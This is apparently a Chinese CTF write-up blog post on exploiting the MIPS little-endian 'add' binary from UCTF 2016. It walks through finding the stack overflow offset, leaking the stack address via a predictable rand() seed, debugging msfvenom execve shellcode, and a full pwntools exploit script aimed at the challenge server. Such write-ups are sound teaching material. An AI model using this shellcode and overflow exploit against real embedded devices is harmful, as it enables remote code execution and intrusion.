前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >MIPS PWN 实例 —— UCTF 2016 ADD

MIPS PWN 实例 —— UCTF 2016 ADD

作者头像
用户1423082
发布2024-12-31 18:21:29
发布2024-12-31 18:21:29
7100
代码可运行
举报
文章被收录于专栏:giantbranch's bloggiantbranch's blog
运行总次数:0
代码可运行

题目: https://dn.jarvisoj.com/challengefiles/add.1f54e2c8b9396f83a4be2632bcb3a5f5

这是2016全国大学生信息安全竞赛的一个题,是MIPSEL(小端的)

qemu虚拟机可以在这里下

https://people.debian.org/~aurel32/qemu/mipsel/

启动:

代码语言:javascript
代码运行次数:0
复制
qemu-system-mips64el -M malta -kernel vmlinux-3.2.0-4-5kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -redir tcp:22::22 -redir tcp:11000::11000 -redir tcp:11001::11001 -redir tcp:11002::11002 -redir tcp:1717::1717 -nographic

环境:

apt-get update apt-get install build-essential gdb socat

或者使用配置好的qemu虚拟机

https://mega.nz/#F!oMoVzQaJ!iS73iiQQ3t_6HuE-XpnyaA

先查看保护措施

代码语言:javascript
代码运行次数:0
复制
root@debian-mipsel:~/ctf/uctf# checksec --file add 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH	FORTIFY	Fortified Fortifiable  FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   Error: libc not found.

这个MIPS实际上是硬件上不支持NX的,所以这里开了也没有用所以可以直接执行shellcode

这个代码一开始还是比较难看的,但是misp应该不会太难

下面这个的输入没有长度限制,应该存在缓冲区溢出

生成200个字节

代码语言:javascript
代码运行次数:0
复制
pattern create 200
[+] Generating a pattern of 200 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab

因为要退出才会回到返回地址所以要退出

代码语言:javascript
代码运行次数:0
复制
Starting program: /root/ctf/uctf/add 
[calc]
Type 'help' for  help.
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab 1
Error!
Input 2 numbers just like:
1 2
0 + 1 = 1
exit
Exiting...

之后便可以看到$ra(这个是储存返回地址的)

代码语言:javascript
代码运行次数:0
复制
$ra       : 0x62616164 ("daab"?)

看下偏移,这个我们是112,因为是小端

代码语言:javascript
代码运行次数:0
复制
 pattern offset 0x62616164
[+] Searching '0x62616164'
[+] Found at offset 112 (little-endian search) likely
[+] Found at offset 304 (big-endian search)

大小端这个通过看内存就可以判断了

代码语言:javascript
代码运行次数:0
复制
x /8bx 0xxxxxxxx

还有一个问题就是要么我们能得到栈上的地址,要么找类似于x86是的jmp esp

但是用IDA的mipsrop插件找不到,没栈地址还是用不了

代码语言:javascript
代码运行次数:0
复制
Python>mipsrop.find("")
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00400658  |  lw $ra,arg_1C($sp)                                  |  jr    arg_1C($sp)                     |
|  0x00400758  |  lw $ra,0x30+var_4($sp)                              |  jr    0x30+var_4($sp)                 |
|  0x00400834  |  lw $ra,0x30+var_4($sp)                              |  jr    0x30+var_4($sp)                 |
|  0x00400ADC  |  lw $ra,0x98+var_4($sp)                              |  jr    0x98+var_4($sp)                 |
|  0x00400C54  |  lw $ra,0x38+var_4($sp)                              |  jr    0x38+var_4($sp)                 |
|  0x00400CC4  |  lw $ra,0x28+var_4($sp)                              |  jr    0x28+var_4($sp)                 |
|  0x00400DDC  |  lw $ra,0x1C($sp)                                    |  jr    arg_1C($sp)                     |
----------------------------------------------------------------------------------------------------------------
Found 7 matching gadgets

所以应该还有其他东西,这个我们没看到输出,根据汇编是跟$4比较相等才来printf这里

我们上去看看4,而4刚好是sprintf的第一个参数,即对rand返回值格式化的结果

而且srand的种子固定,那就可预测,我们编写程序

代码语言:javascript
代码运行次数:0
复制
#include "stdio.h"
#include "stdlib.h"

int main(int argc, char const *argv[])
{
	srand(0x123456);
	printf("%d\n", rand());
	return 0;
}

编译运行

代码语言:javascript
代码运行次数:0
复制
# gcc -o rand ./rand.c
# ./rand 
2057561479

我们看看是不是

在内存确定这个是不是我们栈上buf的基址

代码语言:javascript
代码运行次数:0
复制
x /s 0x7fffeb1c
0x7fffeb1c:	"2057561479"

果然,那么有了偏移,有了栈地址,就可以写代码了

shellcode的生成就用msf,有个坑就是msf这里把mipsel叫mipsle(其实我觉得le好记点,little ending嘛)

可以先看看有什么payload

代码语言:javascript
代码运行次数:0
复制
➜  ~ msfvenom -l payloads | grep "mipsle"
    linux/mipsle/exec                                   A very small shellcode for executing commands. This module is sometimes helpful for testing purposes as well as on targets with extremely limited buffer space.
    linux/mipsle/meterpreter/reverse_tcp                Inject the mettle server payload (staged). Connect back to the attacker
    linux/mipsle/meterpreter_reverse_http               Run the Meterpreter / Mettle server payload (stageless)
    linux/mipsle/meterpreter_reverse_https              Run the Meterpreter / Mettle server payload (stageless)
    linux/mipsle/meterpreter_reverse_tcp                Run the Meterpreter / Mettle server payload (stageless)
    linux/mipsle/reboot                                 A very small shellcode for rebooting the system. This payload is sometimes helpful for testing purposes.
    linux/mipsle/shell/reverse_tcp                      Spawn a command shell (staged). Connect back to the attacker
    linux/mipsle/shell_bind_tcp                         Listen for a connection and spawn a command shell
    linux/mipsle/shell_reverse_tcp                      Connect back to attacker and spawn a command shell

我将shellcode放后面,调试可以到达shellcode,但是执行失败

代码语言:javascript
代码运行次数:0
复制
gef➤  x /20i 0x7f9a607c
   0x7f9a607c:	li	a2,1638
   0x7f9a6080:	bltzal	a2,0x7f9a6080
   0x7f9a6084:	slti	a2,zero,-1
   0x7f9a6088:	addiu	sp,sp,-32
   0x7f9a608c:	addiu	a0,ra,4097
   0x7f9a6090:	addiu	a0,a0,-4065
   0x7f9a6094:	sw	a0,-24(sp)
   0x7f9a6098:	sw	zero,-20(sp)
   0x7f9a609c:	addiu	a1,sp,-24
   0x7f9a60a0:	li	v0,4011
   0x7f9a60a4:	syscall	0x40404
   0x7f9a60a8:	0x6e69622f
   0x7f9a60ac:	0x68732f
   0x7f9a60b0:	0x7f9a6070
   0x7f9a60b4:	0x41414141
   0x7f9a60b8:	0x41414141
   0x7f9a60bc:	0x41414141
   0x7f9a60c0:	0x41414141
   0x7f9a60c4:	0x41414141
   0x7f9a60c8:	0x41414141
gef➤  x /s 0x7f9a60a8
0x7f9a60a8:	"/bin/sh"

调试过程发现shellcode的sw指令将字符串/bin/sh改了

代码语言:javascript
代码运行次数:0
复制
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ code:mips:3000 ]────
   0x7f9a6080                  bltzal a2, 0x7f9a6080
   0x7f9a6084                  slti   a2, zero, -1
   0x7f9a6088                  addiu  sp, sp, -32
   0x7f9a608c                  addiu  a0, ra, 4097
   0x7f9a6090                  addiu  a0, a0, -4065
   0x7f9a6094                  sw     a0, -24(sp)
 → 0x7f9a6098                  sw     zero, -20(sp)
   0x7f9a609c                  addiu  a1, sp, -24
   0x7f9a60a0                  li     v0, 4011
   0x7f9a60a4                  syscall 0x40404
   0x7f9a60a8                  0x7f9a60a8 
   0x7f9a60ac                  0x68732f 
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ threads ]────
[#0] Id 1, Name: "add", stopped, reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x7f9a6098 → sw zero, -20(sp)
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Watchpoint 2: *0x7f9a60a8

Old value = 0x6e69622f
New value = 0x7f9a60a8
0x7f9a6098 in ?? ()

但是shellcode在偏移8的位置则没有改变这个字符串,不知为啥,最终shellcode

如果放在后面的话,shellcode是会被破坏掉的

最终payload

代码语言:javascript
代码运行次数:0
复制
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Date    : 2017-12-29 23:02:48
# @Author  : giantbranch (giantbranch@gmail.com)
# @Link    : http://www.giantbranch.cn/
# @tags : 

from pwn import *
context.log_level = "debug"

REMOTE = 1

if REMOTE:
    # p = remote("127.0.0.1", 10000)
    p = remote("pwn2.jarvisoj.com", 9889)
else:
	p = process("./add")

shellcode =  ""
shellcode += "\x66\x06\x06\x24\xff\xff\xd0\x04\xff\xff\x06\x28\xe0"
shellcode += "\xff\xbd\x27\x01\x10\xe4\x27\x1f\xf0\x84\x24\xe8\xff"
shellcode += "\xa4\xaf\xec\xff\xa0\xaf\xe8\xff\xa5\x27\xab\x0f\x02"
shellcode += "\x24\x0c\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x00"

def leakStack():
	p.recvuntil("Type 'help' for  help.\n")
	num = 2057561479
	p.sendline(str(num))
	p.recvuntil("Your input was ")
	leak = int(p.recvuntil("\n")[:-1], 16)
	print "input addr = " + hex(leak)
	return leak

leak = leakStack()

# payload = "\x00" * 112
# payload += p32(leak + 116)
# payload += shellcode + " 2"
# p.sendline(payload)

offset = 8
payload = "A" * offset + shellcode 
payload += "\x00" * (112 - len(payload))
payload += p32(leak + offset)
payload += " 1"
p.sendline(payload)

p.recvuntil("1 2\n")
p.sendline("exit")
p.recvuntil("Exiting...")
p.interactive()
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2017-12-29,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档